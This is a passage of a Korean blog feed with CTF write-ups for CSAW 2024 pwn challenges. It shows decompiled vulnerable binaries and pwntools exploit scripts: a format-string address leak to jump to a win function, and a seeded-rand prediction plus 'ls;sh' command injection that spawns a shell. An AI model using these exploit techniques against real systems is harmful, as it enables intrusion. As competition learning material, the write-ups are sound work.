&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;408&quot; data-origin-height=&quot;133&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ecznSX/btsJESXdsiT/9v6OVKzPL1XO24ngEKoHN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ecznSX/btsJESXdsiT/9v6OVKzPL1XO24ngEKoHN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ecznSX/btsJESXdsiT/9v6OVKzPL1XO24ngEKoHN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FecznSX%2FbtsJESXdsiT%2F9v6OVKzPL1XO24ngEKoHN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;133&quot; data-origin-width=&quot;408&quot; data-origin-height=&quot;133&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre id=&quot;code_1726325787141&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+0h] [rbp-510h] BYREF
  __int64 v5; // [rsp+8h] [rbp-508h]
  char v6[1264]; // [rsp+10h] [rbp-500h] BYREF
  void (__fastcall *v7)(const char *, _QWORD); // [rsp+500h] [rbp-10h] BYREF
  void (__fastcall *v8)(const char *, _QWORD); // [rsp+508h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(_bss_start);
  fflush(stdin);
  *s = 0LL;
  v5 = 0LL;
  memset(v6, 0, sizeof(v6));
  puts(&quot;Welcome to PWN GOLF.&quot;);
  printf(&quot;Would you like to enter your name? &quot;);
  fgets(s, 0x400, stdin);
  printf(&quot;hello: &quot;);
  printf(s);
  printf(&quot;\nAlright! Tell me the address you want to aim at!: &quot;);
  __isoc99_scanf(&quot;%lx&quot;, &amp;amp;v7);
  v8 = v7;
  printf(&quot;Ok jumping to that address...&quot;);
  v8(&quot;Ok jumping to that address...&quot;, &amp;amp;v7);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;fsb 터지고 win 함수도 있어서 간단하게 풀 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1726325797112&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# p = process('./golf')
p = remote('golfing.ctf.csaw.io', 9999)

pay = b'%p.'*300
p.sendlineafter(b'name?',pay)
p.recvuntil(b'hello: ')

tmp = 0
while 1:
	tmp = p.recvuntil(b'.')[:-1]
	if tmp == b'(nil)':
		continue
	else:
		tmp = int(tmp,16)
		if tmp &amp;amp; 0xfff == 0x120:
			print('find it!')
			break

pie = tmp - 0x1120
win = pie + 0x1209
print('[win]',hex(win))

p.sendlineafter(b'at!: ',str(hex(win)))
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;nix-philosophies&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;513&quot; data-origin-height=&quot;134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bew2o1/btsJCUpaNcb/zKq3YKZZBXnUPcONpu68Ek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bew2o1/btsJCUpaNcb/zKq3YKZZBXnUPcONpu68Ek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bew2o1/btsJCUpaNcb/zKq3YKZZBXnUPcONpu68Ek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbew2o1%2FbtsJCUpaNcb%2FzKq3YKZZBXnUPcONpu68Ek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;513&quot; height=&quot;134&quot; data-origin-width=&quot;513&quot; data-origin-height=&quot;134&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre id=&quot;code_1726325885584&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  int v10; // [rsp+4h] [rbp-28Ch]
  int i; // [rsp+8h] [rbp-288h]
  __int64 v12; // [rsp+10h] [rbp-280h] BYREF
  __int64 v13; // [rsp+18h] [rbp-278h] BYREF
  char *v14; // [rsp+20h] [rbp-270h]
  __int64 *v15; // [rsp+28h] [rbp-268h]
  char v16[32]; // [rsp+30h] [rbp-260h] BYREF
  char v17[256]; // [rsp+50h] [rbp-240h] BYREF
  __int64 v18; // [rsp+150h] [rbp-140h] BYREF
  char v19; // [rsp+267h] [rbp-29h] BYREF
  unsigned __int64 v20; // [rsp+268h] [rbp-28h]

  v20 = __readfsqword(0x28u);
  std::string::basic_string(v16, argv, envp);
  std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(&amp;amp;_bss_start, &quot;Tell me what you know about *nix philosophies: &quot;);
  std::operator&amp;gt;&amp;gt;&amp;lt;char&amp;gt;(&amp;amp;std::cin, v16);
  v10 = 0;
  for ( i = 1; i &amp;lt; std::string::size(v16); ++i )
  {
    v19 = *std::string::operator[](v16, i);
    v15 = &amp;amp;v13;
    std::string::basic_string(v17, &amp;amp;v19, 1LL, &amp;amp;v13);
    std::__new_allocator&amp;lt;char&amp;gt;::~__new_allocator(&amp;amp;v13);
    v14 = v17;
    v12 = std::string::begin(v17);
    v13 = std::string::end(v14);
    while ( __gnu_cxx::operator!=&amp;lt;char *,std::string&amp;gt;(&amp;amp;v12, &amp;amp;v13) )
    {
      v10 += *__gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;::operator*(&amp;amp;v12);
      __gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;::operator++(&amp;amp;v12);
    }
    std::string::~string(v17);
  }
  read(v10 - 0x643, buf, 0x20uLL);
  if ( !strcmp(&quot;make every program a filter\n&quot;, buf) )
  {
    std::ifstream::basic_ifstream(v17, &quot;flag.txt&quot;, 8LL);
    if ( std::ios::good(&amp;amp;v18) )
    {
      v3 = std::ostream::operator&amp;lt;&amp;lt;(&amp;amp;_bss_start, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
      v4 = std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(v3, &quot;Welcome to pwning ^_^&quot;);
      std::ostream::operator&amp;lt;&amp;lt;(v4, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
      system(&quot;/bin/cat flag.txt&quot;);
    }
    else
    {
      v5 = std::ostream::operator&amp;lt;&amp;lt;(&amp;amp;_bss_start, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
      v6 = std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(v5, &quot;flag.txt: No such file or directory&quot;);
      std::ostream::operator&amp;lt;&amp;lt;(v6, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
      v7 = std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(
             &amp;amp;_bss_start,
             &quot;If you're running this locally, then running it on the remote server should give you the flag!&quot;);
      std::ostream::operator&amp;lt;&amp;lt;(v7, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
    }
    std::ifstream::~ifstream(v17);
  }
  else
  {
    v8 = std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(&amp;amp;_bss_start, &quot;You still lack knowledge about *nix sorry&quot;);
    std::ostream::operator&amp;lt;&amp;lt;(v8, &amp;amp;std::endl&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;);
  }
  std::string::~string(v16);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;대충 디버깅하면서 조건 맞춰주면 플래그가 나온다.&lt;/p&gt;
&lt;pre id=&quot;code_1726325922605&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = 'debug'

p = process('./chal')
p = remote('nix.ctf.csaw.io', 1000)

# gdb.attach(p,
# 	'''
# 	b*main+0x1ce
# 	''')

pay = b'\x33'*0x1f + b'\x49'

p.sendlineafter(b'philosophies: ',pay)
p.sendline(b'make every program a filter')

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ unsolved ]&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;diving-into-null&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;못 풀었는데 그냥 misc 느낌의 문제였다.&lt;/p&gt;
&lt;pre id=&quot;code_1726313495132&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd                                                           # Go to groot's home dir
echo .*                                                      # list hidden files
while FSTREAM= read -r line; do echo &quot;$line&quot;; done &amp;lt; .flag   # read the flag file&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;vip_blacklist&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WXnkc/btsJD78wEX6/LjAxD8V1BIX44Cf6kbVRI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WXnkc/btsJD78wEX6/LjAxD8V1BIX44Cf6kbVRI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WXnkc/btsJD78wEX6/LjAxD8V1BIX44Cf6kbVRI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWXnkc%2FbtsJD78wEX6%2FLjAxD8V1BIX44Cf6kbVRI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;128&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;명령을 어떻게 바꿀지 고민하다가 못 풀었다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;거의 다 풀었는데 마지막에 헤맨 것 같아서 아쉽다.&lt;/p&gt;
&lt;pre id=&quot;code_1726326026061&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(stdout);
  handle_client();
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1726326039955&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 handle_client()
{
  unsigned int v1; // [rsp+Ch] [rbp-A4h]
  int v2; // [rsp+10h] [rbp-A0h]
  unsigned int i; // [rsp+14h] [rbp-9Ch]
  char s2[16]; // [rsp+18h] [rbp-98h] BYREF
  FILE *stream; // [rsp+28h] [rbp-88h]
  char src[10]; // [rsp+36h] [rbp-7Ah] BYREF
  char s[32]; // [rsp+40h] [rbp-70h] BYREF
  char dest[12]; // [rsp+60h] [rbp-50h] BYREF
  int v9; // [rsp+6Ch] [rbp-44h]
  __int64 v10; // [rsp+70h] [rbp-40h]
  __int64 v11; // [rsp+78h] [rbp-38h]
  __int64 v12; // [rsp+80h] [rbp-30h]
  __int64 v13; // [rsp+88h] [rbp-28h]
  __int64 v14; // [rsp+90h] [rbp-20h]
  __int64 v15; // [rsp+98h] [rbp-18h]
  unsigned __int64 v16; // [rsp+A8h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  v1 = 0x14;
  randGen(s2);
  puts(
    &quot;\&quot;Welcome to the club. It's ok, don't be in a rush. You've got all the time in the world. As long as you are a vip that is.\&quot;&quot;);
  displayCommands();
  while ( fgets(s, 0x20, stdin) )
  {
    s[strcspn(s, &quot;\n&quot;)] = 0;
    if ( !strcmp(s, &quot;exit&quot;) )
    {
      puts(&quot;Bye!&quot;);
      return v16 - __readfsqword(0x28u);
    }
    if ( !strcmp(s, *(const char **)s2) &amp;amp;&amp;amp; strcmp(whitelist, &quot;queue&quot;) )
    {
      puts(&quot;\nAh VIP, please come this way...&quot;);
      allowCopy();
    }
    sprintf(src, s);
    strcpy(dest, &quot;Executing: &quot;);
    v9 = 0;
    v10 = 0LL;
    v11 = 0LL;
    v12 = 0LL;
    v13 = 0LL;
    v14 = 0LL;
    v15 = 0LL;
    strcat(dest, src);
    strcpy(&amp;amp;dest[strlen(dest)], &quot;...\n&quot;);
    puts(dest);
    v2 = 0;
    for ( i = 0; i &amp;lt;= 3; ++i )
    {
      if ( !strcmp(s, &amp;amp;whitelist[6 * i]) )
      {
        v2 = 1;
        break;
      }
    }
    if ( !v2 )
    {
      *(_QWORD *)&amp;amp;s2[8] = &quot;Command not allowed\n&quot;;
      printf(&quot;%s&quot;, &quot;Command not allowed\n&quot;);
      goto LABEL_22;
    }
    if ( !strcmp(s, &quot;queue&quot;) )
    {
      printf(&quot;You are currently in position: %d\n&quot;, v1);
    }
    else
    {
      stream = popen(s, &quot;r&quot;);
      if ( !stream )
      {
        perror(&quot;Error executing command&quot;);
        return v16 - __readfsqword(0x28u);
      }
      while ( fgets(s, 0x20, stream) )
        printf(&quot;%s&quot;, s);
      pclose(stream);
      if ( !--v1 )
      {
        puts(&quot;Hello! You are at the front of the queue now. Oh hold on one second&quot;);
        puts(&quot;I'm getting some new info...&quot;);
        kickOut();
      }
LABEL_22:
      displayCommands();
    }
  }
  return v16 - __readfsqword(0x28u);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1726326058424&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;_QWORD *__fastcall randGen(_QWORD *a1)
{
  unsigned int v1; // eax
  _QWORD *result; // rax
  unsigned __int64 i; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v4 = malloc(0xAuLL);
  v1 = time(0LL);
  srand(v1);
  for ( i = 0LL; i &amp;lt;= 9; ++i )
    v4[i] = rand();
  result = a1;
  *a1 = v4;
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1726326089728&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int displayCommands()
{
  unsigned int i; // [rsp+Ch] [rbp-4h]

  printf(&quot;\nCommands: &quot;);
  for ( i = 0; i &amp;lt;= 3; ++i )
    printf(&quot;%s &quot;, &amp;amp;whitelist[6 * i]);
  return putchar(0xA);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1726326101199&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 allowCopy()
{
  int i; // [rsp+8h] [rbp-88h]
  int j; // [rsp+Ch] [rbp-84h]
  int k; // [rsp+10h] [rbp-80h]
  unsigned __int64 m; // [rsp+18h] [rbp-78h]
  ssize_t read_num; // [rsp+20h] [rbp-70h]
  _BYTE cmd_list[24]; // [rsp+30h] [rbp-60h] BYREF
  char buf[40]; // [rsp+50h] [rbp-40h] BYREF
  unsigned __int64 v8; // [rsp+78h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts(
    &quot;You may add a new command, \&quot;queue\&quot;, to your possible commands which will give you your position. \n&quot;
    &quot;If you would not like this, just press enter.&quot;);
  displayCommands();
  read_num = read(0, buf, 0x20uLL);
  if ( read_num &amp;lt; 0 )
  {
    perror(&quot;Error reading from stdin&quot;);
    exit(1);
  }
  buf[strcspn(buf, &quot;\n&quot;)] = 0;
  for ( i = 0; i &amp;lt; strlen(&quot;queue&quot;) + 1; ++i )
  {
    if ( buf[i] != s2[i] )
      kickOut();
  }
  puts(&quot;\&quot;We are currently getting you a valet to inform you of your queue position\nPlease wait one second...\&quot;&quot;);
  *(_QWORD *)&amp;amp;cmd_list[0x10] = 0LL;
  strcpy(cmd_list, &quot;clear&quot;);
  // exit
  *(_DWORD *)&amp;amp;cmd_list[6] = 0x74697865;
  *(_WORD *)&amp;amp;cmd_list[0xA] = 0;
  // ls
  *(_DWORD *)&amp;amp;cmd_list[0xC] = 0x736C;
  for ( j = 3; j &amp;gt;= 0; --j )
    strcpy(&amp;amp;whitelist[6 * j], &amp;amp;whitelist[6 * j - 6]);
  for ( k = 0; k &amp;lt; read_num - 1; ++k )
    whitelist[k] = buf[k];
  if ( !(unsigned int)safety(cmd_list) )
    kickOut();
  sleep(1u);
  puts(&quot;\&quot;The valet has arrived, feel free to check your queue position now.\&quot;&quot;);
  for ( m = 0LL; m &amp;lt; 4; ++m )
    puts(&amp;amp;whitelist[6 * m]);
  return v8 - __readfsqword(0x28u);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1726326241067&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__int64 __fastcall safety(char *cmd_list)
{
  unsigned __int64 idx; // [rsp+18h] [rbp-18h]
  size_t i; // [rsp+20h] [rbp-10h]
  _BOOL8 is_queue; // [rsp+28h] [rbp-8h]

  is_queue = strcmp(whitelist, &quot;queue&quot;) == 0;
  for ( idx = is_queue; idx &amp;lt;= 3; ++idx )
  {
    if ( strlen(&amp;amp;whitelist[6 * idx]) &amp;gt; 5 )
      kickOut();
    for ( i = 0LL; i &amp;lt; strlen(&amp;amp;cmd_list[6 * (idx - is_queue)]); ++i )
    {
      if ( cmd_list[6 * (idx - is_queue) + i] != whitelist[6 * idx + i] )
        kickOut();
    }
  }
  return 1LL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1726326112693&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void __noreturn kickOut()
{
  puts(&quot;\&quot;You are not a real VIP. Follow this person out.\&quot;&quot;);
  exit(1);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;랜덤 값을 만드는데 seed가&amp;nbsp;time(0)으로&amp;nbsp;고정이라&amp;nbsp;ctype으로&amp;nbsp;맞춰줄&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;libc는 아마 브포로 유추하면 되지 않을까싶다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(wsl로 했을 때 잘 됐던 걸로 기억하는데 깃헙에 올라온 문제 파일 보니까 ubuntu 22.04 였음)&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;vip 인증을 하면 명령어를 추가할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;strlen으로 5문자만 입력할 수 있는데, ls 이후 빈 공간을 활용해서 ls;sh를 만들어 줄 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1726326188369&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
from ctypes import *

context.log_level = 'debug'

p = process('./vip_blacklist')
libc = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')

# b*allowCopy+0x1ea
# gdb.attach(p,
# 	'''
# 	b*safety
# 	''')

ren = b''
libc.srand(libc.time(0))
for i in range(10):
	ren += int.to_bytes(libc.rand()&amp;amp;0xff,1,'little')

p.sendlineafter(b'ls',ren)
p.sendlineafter(b'queue',b'queue\x00clear\x00exit\x00\x00ls;sh\x00')

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1726313592515&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;CSAW-CTF-2024-Quals/pwn at main &amp;middot; osirislab/CSAW-CTF-2024-Quals&quot; data-og-description=&quot;Public Archive for CSAW 2024 Quals. Contribute to osirislab/CSAW-CTF-2024-Quals development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn&quot; data-og-url=&quot;https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cQjKn2/hyW22zmY9S/qCA5HSApB8GviBtQKgVx60/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cQjKn2/hyW22zmY9S/qCA5HSApB8GviBtQKgVx60/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CSAW-CTF-2024-Quals/pwn at main &amp;middot; osirislab/CSAW-CTF-2024-Quals&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Public Archive for CSAW 2024 Quals. Contribute to osirislab/CSAW-CTF-2024-Quals development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/830</guid>
      <comments>https://ssongkit.tistory.com/830#entry830comment</comments>
      <pubDate>Sun, 15 Sep 2024 00:16:56 +0900</pubDate>
    </item>
    <item>
      <title>SEKAI CTF 2024 (Pwn) - nolibc</title>
      <link>https://ssongkit.tistory.com/829</link>
      <description>&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/24kSw/btsJg7tXlVy/dKdlkwocmjx50x7g4mnzLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/24kSw/btsJg7tXlVy/dKdlkwocmjx50x7g4mnzLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/24kSw/btsJg7tXlVy/dKdlkwocmjx50x7g4mnzLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F24kSw%2FbtsJg7tXlVy%2FdKdlkwocmjx50x7g4mnzLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;398&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSxvjB/btsJfa0nFrl/BvmlVoHMpOGmXm4AW2o8kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSxvjB/btsJfa0nFrl/BvmlVoHMpOGmXm4AW2o8kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSxvjB/btsJfa0nFrl/BvmlVoHMpOGmXm4AW2o8kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSxvjB%2FbtsJfa0nFrl%2FBvmlVoHMpOGmXm4AW2o8kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1019&quot; height=&quot;323&quot; data-origin-width=&quot;1019&quot; 